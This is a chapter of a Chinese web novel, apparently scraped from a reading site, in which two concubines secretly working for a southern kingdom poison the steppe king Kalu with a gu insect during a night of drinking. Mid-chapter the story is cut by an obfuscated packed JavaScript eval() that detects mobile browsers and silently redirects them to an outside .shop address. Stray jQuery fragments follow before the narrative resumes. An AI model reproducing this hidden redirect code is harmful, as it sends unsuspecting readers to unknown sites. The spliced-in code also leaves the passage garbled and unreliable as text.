64. 除患
    夜里,云深雾重,月亮全然被遮盖住,大地只有一片暗沉。

    近来的事情忙得喀鲁王有些焦头烂额,已经许久没去过后院。

    可那些女人不肯让他省心,尤其是王后。喀鲁王想不通她的性子为什么会变化如此之大,过去的她分明不是这样的。

    他与玉芷的第一次见面,是在二剑王城外的河畔。

    隔着茫茫江波,玉芷的身形显得格外动人。哪怕起初只是为了联姻,这一眼也让喀鲁王衷心地赞叹。

    起初他对这位续弦来的王后极为满意,玉芷美丽温婉,从没有发过火闹过情绪,可渐渐的,她越来越沉默寡言,神色也一天比一天愁苦。

    喀鲁王认为她是身体不好所致,一直对她多加宽容。时间一久,他竟然成为了草原上出名的情深义重。但随着他的后院有了更多的美人儿,对王后的耐心也就一日少过一日了。

    更别提王后进来对那两位江南美人多有针对,隔几天就会闹上一场。每次都害得她们二人又是哭又是摔东西的。

    玉芷去看乌恩其的那天,他不过随口敲打了她几句,她就又跑去收拾那两人。

    喀鲁王心中对王后的厌恶深了几分,但他没想到才过去两天,玉芷居然再次去找麻烦了。

    他收到消息后,火“噌”地就冒起来了,立刻便往后院去。

    “王后!你想干什么,翻了天吗?”喀鲁王一踏进玉芷王后的院子,当即就气势汹汹道。

    比起他的暴怒,玉芷王后却很是冷静:“大王在说什么?”

    喀鲁王见她这样,怒目圆瞪,抬起手竟然想要打人。玉芷王后呵道:“大王要为了两个异族,打我二剑的脸吗!”

    “好,那你就滚回二剑去!”喀鲁王面色气得通红,“别忘了谁才是草原之王!”

    说罢,他竟然抽出宝剑,指着玉芷王后道:“没有老子,草原能踩着南国的头上过日子?平时里叫一声三大部,你们还真当自己是个东西了?你心里这么惦记二剑,老子这就送你的尸体回去!”

    玉芷王后面色有些发白,却依然镇静,只缓缓垂下眼帘道:“您意已决,我还该说什么。”

    喀鲁王胸膛极速起伏着,拳头紧攥,眼看着场面就要不可收拾之时,远处一个小侍从的叫喊声打破了僵局。

    “大王!大王您快过去看看啊!鹭娘娘拿了根绳子要寻死!”

    这一声犹如平地惊雷,炸得一圈人都目瞪舌僵。喀鲁王再顾不上对玉芷王后问罪,忙跟着那小侍从一路赶出去。

    还没到寝宫门口,就听见凄凄的呜咽传来,喀鲁王紧张不已,一把推开门冲进去!

    只见那两个女人眼泪汪汪,哭得梨花带雨。其中一位手里拿着绳子,泣血涟如,那双本如烟波般忧愁的眼睛现在更是像在里面藏了一条溪水,不住地向外流淌。

    另一位则半抱着她,啜泣着拍她的背:“莫哭了……眼睛哭坏,大王就不爱你了……”

    喀鲁王听见这话,大步流星地走进来:“谁说的?阿鹭不管变成什么样子,都是我心中最疼爱的。”

    抱着阿鹭,名字叫做阿鸩的姑娘率先反应了过来,忙扶着阿鹭转过来:“傻丫头,大王来了。”

    阿鹭当即就要挣扎着起身行礼:“见过大王……”

    喀鲁王一个箭步上前去,心疼不已地将她揽入自己的怀中:“谁欺负了你,本王一定给她好看,可不要再做这种傻事了……”

    他心中对王后更是深恶痛恨,已经认定就是玉芷王后逼迫这两位美人到如此地步,却听见阿鹭哭腔未消道:“没人欺负妾身,就算有,也是大王您……”

    喀鲁王伸手把她脸上的眼泪抹去:“别怕,只要你说是谁,本王一定为你做主。”

    “就是您,”阿鹭一眨眼,泪珠就又一颗一颗地滚下来,“您这么久都没再来找妾身,定然是厌倦我了……”

    阿鸩忙告罪道:“大王莫要与她计较,只是昨儿是她娘亲的忌日,她心里难受,才惊扰了您……”

    喀鲁王听了,心中怜爱更甚,他将阿鹭抱在怀里,轻轻抚摸着她的长发:“好好,是本王的不对,本王向爱妃告罪。”

    阿鹭的头靠在喀鲁王的肩上,冲着后方的阿鸩勾起嘴角,那是一个有了十足把握的表情。说的话却还是娇滴滴的:“那就罚大王今夜来陪我,好不好?”

    喀鲁王哪有不答应的道理?阿鸩见状,立即嘱咐下人去准备酒菜。阿鹭则软绵绵地依偎在喀鲁王怀里,和他耳鬓厮磨。

    “王后是不是给你们气受过,嗯?”

    阿鹭闻言,半撑着直起身子道:“王后娘娘待我们……很是宽容,从不曾为难过我们。”

    她这话落在喀鲁王耳里,就是被王后磋磨到不敢告诉别人。

    “你不必怕她,有本王在,她还能越了过去不成?”喀鲁王握住阿鹭的手,鼓励道。

    “真的没有……王后娘娘平日里也很忙碌,怎么会来欺侮我们呢?”阿鹭只是否认,把“柔弱”、“善良”、“识大体”一类的词发挥到了极致。

    阿鸩适时出声道:“大王,阿鹭这个性子,要真有什么一定会给您说的,不会憋在心里。”

    喀鲁王握着阿鹭的手,百般轻怜重惜,一副阿鹭现在要天上的星星他都回去摘下来的架势。

    就在这时,酒菜也上来了。喀鲁王这段时间怕耽误事,一直滴酒不沾。可两人你一言我一语地劝着,鬓影衣香,红烛罗帐,丝丝缕缕的芳泽薰得他脑袋有些飘飘然。

    此时再把酒杯送到他唇边,他便就着美人的手,一口饮下。

    两人不着痕迹地对视一眼,开始更为殷勤地劝着。就算喀鲁王不懂南国的“远山横黛”,也依旧难以抵抗。

    随着夜色更加浓厚,喀鲁王停酒多日,眼下破戒便一发不可收拾,眼看着两位美人都双眼朦胧,他也放任自己酩酊大醉。

    阿鹭又凑上去,埋在他怀里软软地诉着衷肠。喀鲁王搂着她,哪还顾得上其他?连屋里的另一位在做什么都进不了眼睛了。

    这另一位便自顾自地斟酒,腕上的银镯与酒杯口发出清脆地碰撞声。阿鸩不像同伴那样长袖善舞,做任何事都八方不漏。她最大的特点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306732|136639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就是冷静,无论什么时候都极致的冷静。

    “大王,您光心疼妹妹,都不心疼我。”她声音不似阿鹭那样婉转,清清冷冷倒也别有一番味道。

    说着,她贴去喀鲁王的另一边,眉眼间颇有委屈之意。

    这位姑娘平时鲜少发痴卖乖,偶尔来这么一出,便更让喀鲁王难以拒绝:“怎么不心疼你?来!”

    阿鸩浅笑着,递上手中的酒杯,送到喀鲁王的唇边。

    “等等。”喀鲁王却不像方才那样一饮而尽。

    阿鹭脸色变了一瞬,旋即笑道:“大王还是最疼我,是不是?”

    说着就要接过阿鸩手中的酒:“我来。”

    两人心里都咯噔一下,唯恐喀鲁王发现什么。她们这些后院女人早在来之前就被彻底搜查过,什么利器都不能带入。发簪倒是有,只是头不够尖,又太细,万一一击得不了手,就要前功尽弃。

    以往和几个月线人接头一次都很极限,砒霜硍朱之类的就更别想了。

    因此乌恩其带进来的这只蛊,便是最好的选择,错过又不知要多久才能得到机会。

    阿鹭伸出的手却被喀鲁王按了回去,他大着舌头道:“好了,今日已经喝太多了。”

    不是起疑心就行,阿鹭又笑道:“可是今日喝的都是妾身的酒,姐姐的也要喝呀。”

    “既然大王已经这么说了,我也就……不再强求。我伺候大王休息吧。”阿鸩端着酒,向边上退了一步,神色落寞。

    喀鲁王一听,取过酒杯一仰头就尽数喝下。正欲再说些什么,就看见那两人都站在距离他几步远的地方,神色冷冷。

    “你们……”他满心疑惑,张嘴要问,喉咙却里突然一涩。

    “大穆殿前司指挥使之女钟缙红,今日为国除患!”阿鸩,或者说钟缙红,转身面向南方震声道。

    喀鲁王闻言大骇,随即感到腹中剧痛,这才意识到自己中毒。张嘴要呼,却只能发出气息微弱的声音。

    “你们……徒劳……”

    钟缙红上前一步:“别急,乌恩其带着起义军已经到门口了,你是不是忘了,她与当今萧王可是一族的兄妹呢。”

    喀鲁王伸出手指着她们,难以控制地抖个不停,眼睛死死地瞪着。胸膛像快要炸开一样,却连血都吐不出来,五脏如同撕裂般灼痛。

    “我无时无刻不想着杀了你,回到我的家乡去,”另一位姑娘也激动不已,压低着声音怒道,“自我介绍一下,胡雪正,南国千千万百姓中的一人!”

    这个夜晚宁静到让巡夜人都心生恐惧,她们二人并肩而站,注视着喀鲁王带着满面的仇恨与痛苦抽搐着。

    他皮肤下的血肉像是被什么东西掏空了一样渐渐干瘪,最终只剩下一副挂着皮囊的骨骼。

    随后,一股股黑色虫子从他七窍不断涌出,遍布他蜡黄的身体。钟缙红早有准备,取酒泼上。

    虫子消逝之后,她们才发现喀鲁王的胸口还有细微起伏。

    两人无言地候着,直到子时已过,涅古斯乃至全草原的最高首领,这才断气身亡。